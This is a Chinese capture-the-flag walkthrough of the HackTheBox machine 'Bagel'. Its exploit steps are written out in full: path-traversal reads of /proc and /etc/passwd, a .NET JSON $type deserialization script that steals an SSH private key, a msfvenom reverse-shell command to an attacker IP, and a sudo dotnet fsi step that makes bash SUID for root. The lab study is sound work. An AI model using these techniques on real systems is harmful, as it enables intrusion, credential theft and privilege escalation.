信息搜集
└─# nmap --min-rate=1000 -Pn -vvv -p- --open -sS 10.10.11.201
Completed SYN Stealth Scan at 09:34, 76.97s elapsed (65535 total ports)
Nmap scan report for 10.10.11.201
Host is up, received user-set (0.31s latency).
Scanned at 2023-03-20 09:32:54 CST for 77s
Not shown: 64224 closed tcp ports (reset), 1308 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
5000/tcp open upnp syn-ack ttl 63
8000/tcp open http-alt syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 77.08 seconds
Raw packets sent: 79316 (3.490MB) | Rcvd: 73608 (2.944MB)
nmap参数解释
-vvv 详细输出
--min-rate 每秒最少发包
-sS syn扫描
--open 只显示开放端口
-p- 全端口扫描
-Pn 做noping处理
访问8000端口的时候自动跳转了一个域名,绑定host
echo "10.10.11.201 bagel.htb" >> /etc/hosts
任意文件读取
在首页时,看见/?page=index.html ,就猜到了这肯定是有说法的。可以尝试文件包含,file协议等等
果然burp改包读取到了用户文件
我们发现了这两个可以登录的用户
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
读取进程信息,发现了app.py,那么进行读取
代码如下
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/'+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
根据注释的信息,我们通过shell命令,遍历一下进程,查找一下dotnet 相关的信息
└─# for i in $(seq 1 1000); do curl http://10.10.11.201:8000/?page=../../../../proc/$i/cmdline -o -; echo " PID => $i";done
在890PID发现了相关信息。
逆向分析
使用dnSpy工具进行反编译dll文件,在bagel_server->DB_connection中发现了用户和密码
在readfile类中,我发现对文件名没有进行过滤,而直接读取文件内容。
在服务中,还定义了一个RemoveOrder的类,那么我们可以通过反序列化这个类,然后使用$type定义为bagel_server.File类,再传入readfile函数和文件名,实现任意文件读取。
具体代码如下:
import json,websocket
ws = websocket.WebSocket()
ws.connect("ws://10.10.11.201:5000/") # connect to order app
order = { "RemoveOrder" : {"$type":"bagel_server.File, bagel", "ReadFile":"../../../../../../home/phil/.ssh/id_rsa"}}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(result)
在数据处理时,我注意到进行了反序列化的操作。
当时不太理解这个地方,于是求助的chatgpt的解释
执行python代码,读取到了ssh的私钥文件
通过ssh 的私钥,连接上了目标。
根据之前发现的dev的密码,切换developer用户
[phil@bagel ~]$ su developer
Password:
[developer@bagel phil]$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[developer@bagel phil]$
提权root
使用sudo -l 发现我们可以使用sudo 执行dotnet。试了一下使用msf生成反弹shell的dll
msfvenom -p linux/x64/shell/reverse_tcp LHOST=10.10.16.3 LPORT=4444 --platform linux -a x64 -n 200 -e generic/none -i 4 -b "badchars" -f dll -o reverse_shell.dll
上传到服务器上以sudo 执行dotnet reverse_shell.dll但是没有执行成功,可能dotnet需要特定dll结构。
于是使用sudo dotnet fsi 打开一个console。
> open System.Diagnostics
- let psi = new ProcessStartInfo("chmod", "u+s /bin/bash")
- psi.UseShellExecute <- false
- let process = Process.Start(psi)
- process.WaitForExit() |> ignore
- ;;
使用ctrl - d 退出交互窗口
最后使用 bash -p获得root权限
结束
原文始发于微信公众号(靶机狂魔):靶机—— Bagel【ChatGPT答疑】
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论